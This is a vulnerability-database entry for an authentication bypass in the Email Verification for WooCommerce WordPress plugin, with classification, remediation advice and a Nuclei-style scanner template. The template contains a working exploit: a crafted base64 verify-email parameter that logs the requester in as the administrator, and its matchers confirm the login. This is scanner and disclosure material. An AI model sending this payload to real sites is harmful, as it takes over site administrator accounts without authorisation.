SecurityContext

wp-woocommerce-email-verification: Email Verification for WooCommerce < 1.8.2 - Loose Comparison to Authentication Bypass

Classification

  • Cwe: CWE-288
  • Cvss score: 10
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Not known: epss score, epss percentile, cpe

Metadata

  • Max-request: 2

Labels

  • Name: Email Verification for WooCommerce - Authentication Bypass
  • Impact: Attackers can log in as administrator, gaining full control over the WordPress site.
  • Remediation: Update to version 1.8.2 or latest available version.
  • Vulnerability type: broken_authentication
  • Vulnerability impact: privilege_escalation
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: wp-woocommerce-email-verification

info:

name: Email Verification for WooCommerce < 1.8.2 - Loose Comparison to Authentication Bypass

author: random_robbie,daffianfo

severity: critical

description: |

Email Verification for WooCommerce Wordpress plugin prior to version 1.8.2 contains a loose comparison issue which could allow any user to log in as administrator.

reference:

- https://wpvulndb.com/vulnerabilities/10318

- https://wpscan.com/vulnerability/0c93832c-83db-4053-8a11-70de966bb3a8

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

cvss-score: 10

cwe-id: CWE-288

metadata:

max-request: 2

tags: woocommerce,wp,wpscan,wordpress,wp-plugin,vuln

http:

- method: GET

path:

- "{{BaseURL}}/my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0="

- "{{BaseURL}}/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0="

stop-at-first-match: true

matchers-condition: and

matchers:

- type: regex

part: header

regex:

- "wordpress_logged_in_[a-z0-9]{32}"

- type: word

part: body

words:

- "Your account has been activated!"

- "From your account dashboard you can view your"

condition: and

- type: status

status:

- 200

digest: 4a0a00473045022100eea72f07a9c4aa6c7ef8ee9b1a5e39b2b8efcf723c1a0d6e4945d4a115575d2b022060bcb62cc94dd0b2a09764025b9a4df29725b953d2ee7f33b3ca96b5cc53bd73:922c64590222798bb761d5b6d8e72950

```